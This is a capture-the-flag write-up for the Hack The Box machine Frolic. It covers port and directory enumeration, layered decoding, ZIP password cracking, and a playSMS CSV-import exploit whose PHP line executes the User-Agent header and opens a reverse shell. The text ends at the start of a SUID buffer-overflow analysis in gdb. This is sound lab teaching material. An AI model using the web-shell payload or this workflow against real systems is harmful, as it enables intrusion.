HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Frolic

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.111 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Wed Jun 29 22:56:13 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.111
Nmap scan report for 10.10.10.111
Host is up (0.078s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1880/tcp open  vsat-control
9999/tcp open  abyss

# Nmap done at Wed Jun 29 22:56:26 2022 -- 1 IP address (1 host up) scanned in 14.36 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,139,445,1880,9999 10.10.10.111 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Wed Jun 29 22:56:55 2022 as: nmap -sCV -p22,139,445,1880,9999 -oN targeted 10.10.10.111
Nmap scan report for 10.10.10.111
Host is up (0.050s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m56s, deviation: 3h10m31s, median: 3s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-06-29T20:57:23
|_  start_date: N/A
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2022-06-30T02:27:23+05:30

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 29 22:57:22 2022 -- 1 IP address (1 host up) scanned in 27.59 seconds

Guest log in on the SMB server is enabled, but there are no available shares we could check.

smbmap -H 10.10.10.111

  • -H IP address of host.

[+] Guest session       IP: 10.10.10.111:445    Name: forlic.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        IPC$                                                    NO ACCESS       IPC Service (frolic server (Samba, Ubuntu))

The website on port 1880 shows a login page for a Node-RED application.

On the other hand, the website on port 9999 just shows the default nginx page.

We can see some subdirectories with gobuster.

gobuster dir -u http://10.10.10.111:9999 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.111:9999
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
2022/09/09 21:40:49 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
/test                 (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/] 
/dev                  (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]  
/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
/loop                 (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/loop/]  
                                                                                      
===============================================================
2022/09/09 21:44:50 Finished
===============================================================

Exploitation

The /admin directory shows another login page.

If we try some random credentials, we'll see a popup alert saying that we only have 2 more attempts.

In the source code, we can see a js/login.js script being executed.

The script check for the admin user, and the superduperlooperpassword_lol password.

Logging in with those credentials, we get the message Login successfully.

And get redirected to /admin/success.html with some strange message.

cat message.txt | sed 's/./Ook./g' | sed 's/!/Ook!/g' | sed 's/?/Ook?/g'

Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook?Ook. Ook?Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook?Ook.Ook? Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook?Ook. Ook?Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook.Ook.Ook! Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook.Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook. Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook?Ook. Ook?Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook. Ook?Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook? Ook!Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook?Ook.Ook?Ook!Ook. Ook?Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook?Ook. Ook?Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook!Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook!Ook!Ook! Ook!Ook!Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook?Ook.Ook?Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook?Ook.Ook? Ook!Ook.Ook?Ook.Ook. Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook?Ook. Ook?Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook. Ook?Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook!Ook?Ook!Ook!Ook. Ook?Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook.Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook!Ook.Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook?Ook.Ook? Ook!Ook.Ook?Ook!Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook! Ook?Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook?Ook.Ook?Ook!Ook. Ook?Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook? Ook!Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook?Ook.Ook? Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook.Ook? Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook!Ook! Ook!Ook!Ook!Ook!Ook? Ook.Ook?Ook!Ook.Ook? Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook!Ook? Ook!Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook?Ook.Ook? Ook!Ook.Ook?Ook.Ook. Ook!Ook.Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook?Ook! Ook!Ook.Ook?Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook?Ook.Ook?Ook! Ook.Ook?Ook.Ook.Ook. Ook.Ook!Ook.Ook?Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook.Ook.Ook. Ook.Ook!Ook?Ook!Ook! Ook.Ook?Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook?Ook. Ook?Ook!Ook.Ook?Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook!Ook.Ook!Ook! Ook!Ook!Ook!Ook!Ook! Ook.Ook.Ook.Ook.Ook. Ook.Ook.Ook!Ook.Ook! Ook!Ook!Ook!Ook!Ook! Ook!Ook.Ook?Ook.

We have a new directory. Let's check it out.

It looks like some base64 encoded text. If we put it on a file, and decode it, we'll see what looks like a .zip file because the first characters are the ZIP magic numbers PK.

cat base64 | base64 -d

PK     É7M#īŋŊ[īŋŊi index.phpUT     īŋŊ|īŋŊ[īŋŊ|īŋŊ[ux
                                          ^DīŋŊJīŋŊsīŋŊhīŋŊ)īŋŊPīŋŊn
                                                        īŋŊīŋŊSsīŋŊJw▒܎īŋŊīŋŊ4īŋŊīŋŊkīŋŊzīŋŊīŋŊUȖīŋŊ+XīŋŊīŋŊPīŋŊīŋŊáļ‡īŋŊīŋŊĐģīŋŊx_īŋŊNīŋŊ[īŋŊīŋŊīŋŊSīŋŊīŋŊ8īŋŊīŋŊīŋŊīŋŊīŋŊJ2SīŋŊ*īŋŊDЍ}īŋŊ8dTQkīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊj_īŋŊīŋŊīŋŊ▒īŋŊīŋŊīŋŊ'xcīŋŊīŋŊŨtīŋŊīŋŊ75QīŋŊ
                                                                                                                                                       īŋŊīŋŊīŋŊk,4īŋŊīŋŊb)īŋŊ4FīŋŊīŋŊ   īŋŊīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊīŋŊ&q2oīŋŊWԜīŋŊ9P#īŋŊ[īŋŊiPK     É7M#īŋŊ[īŋŊi ▒īŋŊīŋŊindex.phpUTīŋŊ|īŋŊ[ux
                                                                            PKO 

Let's put the output to a file called msg.zip.

cat base64 | base64 -d > msg.zip

file msg.zip

msg.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

If we try to decompress the file, it will ask for a password.

unzip msg.zip

Archive:  msg.zip
[msg.zip] index.php password:

We could get the hash for the ZIP file.

zip2john msg.zip > msg.zip.hash

And try to break it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt msg.zip.hash

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (msg.zip/index.php)     
1g 0:00:00:00 DONE (2022-09-09 22:05) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now we can decompress the file with the password password.

unzip msg.zip

Archive:  msg.zip
[msg.zip] index.php password: password
  inflating: index.php

The index.php file contains hex code.

cat index.php

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

If we decode it, we'll see some base64 code again.

cat index.php | xxd -r -p

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

We get some brainfuck code, if we decode the base64 code.

cat index.php | xxd -r -p | tr -d "\n\r" | base64 -d

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

We found with gobuster some other directories we have not seen yet, such us /dev , which shows a 403 Forbidden code.

But we could try to list directories again, but this time under the /dev directory.

gobuster dir -u http://10.10.10.111:9999/dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.111:9999/dev
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2022/09/09 22:15:32 Starting gobuster in directory enumeration mode
===============================================================
/test                 (Status: 200) [Size: 5]
/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/]
                                                                                          
===============================================================
2022/09/09 22:16:42 Finished
===============================================================

There is a new directory under /dev called /backup, which contains another directory called /playsms.

This new directory has another login page, in which we can log is with the user admin, and the password we found earlier idkwhatispass.

If we search for any common vulnerabilities on playSMS, we'll see that there is quite a few of them.

searchsploit playsms

----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit)                                     | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)                                     | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                                                            | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting                                                                         | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                                                  | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                                                                | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                                                           | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload                                     | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                                                                       | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit)                                 | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                                                                    | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                                                             | php/webapps/48199.txt
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Name,Mobile,Email,Group code,Tags
<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>,2,,,

Now, go to the following URL.

http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list

Upload the backdoor.csv file, and intercept the request with BurpSuite, and put a command that sends us a reverse shell on the User-Agent header.

Before hitting Forward, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If now we forward the request, we should get a shell as the www-data user. Then we'll be able to grab the user flag.

listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.111] 51108
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

There is one hidden folder called .binary in the home directory on the user ayush.

ls -la /home/ayush/

total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..
-rw------- 1 ayush ayush 2781 Sep 25  2018 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt

The directory contains a file called rop with SUID permissions.

ls -l /home/ayush/.binary/

total 8
-rwsr-xr-x 1 root root 7480 Sep 25  2018 rop

If we execute the binary, it will ask for a message.

rop

[*] Usage: program <message>

Giving a message as an argument just prints it out.

rop testing

[+] Message sent: testing

If I generate 500 A characters with python, and put them as an argument of the rop binary, the program will crash.

rop $(python -c "print('A'*500)")

Segmentation fault (core dumped)

This means that the binary might be vulnerable to a Buffer Overflow attack. Let's transfer the binary to our machine. Set a simple HTTP server with python on the victim machine.

python -m SimpleHTTPServer 1234

Then, download it from our local machine.

wget http://10.10.10.111:1234/rop

chmod +x rop

Let's run the binary with gdb.

gdb ./rop

GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gef➤ 

Note that I am using gef. The same way as before, if I run the script with 500 A characters, i will crash, and I'll be able to see all the registries filled with 41.

gef➤ r $(python -c "print('A'*500)")

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1f4     
$ebx   : 0xffffd1d0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ecx   : 0xf7fa1ff4  →  0x001ead6c
$edx   : 0x0       
$esp   : 0xffffd1a0  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x2       
$edi   : 0x80483a0  →  <_start+0> xor ebp, ebp
$eip   : 0x41414141 ("AAAA"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd1a0│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"    ← $esp
0xffffd1a4│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1a8│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1ac│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1b0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1b4│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd1b8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
